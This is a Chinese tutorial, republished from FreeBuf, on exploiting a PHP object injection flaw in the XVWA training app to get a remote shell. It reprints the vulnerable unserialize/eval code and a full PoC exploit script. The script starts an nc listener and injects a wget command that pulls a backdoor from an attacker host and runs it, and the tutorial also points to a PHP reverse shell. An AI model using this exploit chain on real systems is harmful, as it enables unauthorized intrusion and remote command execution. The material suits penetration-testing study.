Home >Backend Development >PHP Tutorial >技术分享:PHP序列化/对象注入漏洞的利用

技术分享:PHP序列化/对象注入漏洞的利用

WBOY
WBOYOriginal
2016-06-23 13:09:47893browse

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。如果你想了解更多关于PHP序列化的内容,请访问这个 链接。如果你想自行测试这个漏洞,你可以通过 XVWA和 Kevgir进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里。它会被动检测PHP和Java序列化的存在。

分析

我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);

然后再进行反序列化和eval:

eval($this->inject);

接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];

有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php    error_reporting(E_ALL);   class PHPObjectInjection{       public $inject;        function __construct(){        }        function __wakeup(){           if(isset($this->inject)){                eval($this->inject);           }       }    }//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}   if(isset($_REQUEST['r'])){          $var1=unserialize($_REQUEST['r']);               if(is_array($var1)){            echo "".$var1[0]." - ".$var1[1];       }   }else{       echo "parameter is missing";    }? >

漏洞利用

为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

注意:你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php /*PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.comA simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. Shouts to @jstnkndy @yappare for theassist!NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured*/print"==============================================================================\r\n";print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";print"==============================================================================\r\n";print "[+] Generating serializedpayload...[OK]\r\n";print "[+] Launching reverselistener...[OK]\r\n";system('gnome-terminal -x sh -c \'nc -lvvp1234\'');class PHPObjectInjection{   //CHANGE URL/FILENAME TO MATCH YOUR SETUP  public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";} $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER$url = $url . urlencode(serialize(newPHPObjectInjection));print "[+] Sendingexploit...[OK]\r\n";print "[+] Dropping down tointeractive shell...[OK]\r\n";print"==============================================================================\r\n";$response =file_get_contents("$url"); ? >

Demo

现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

视频展示如下:

*参考来源: CD,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn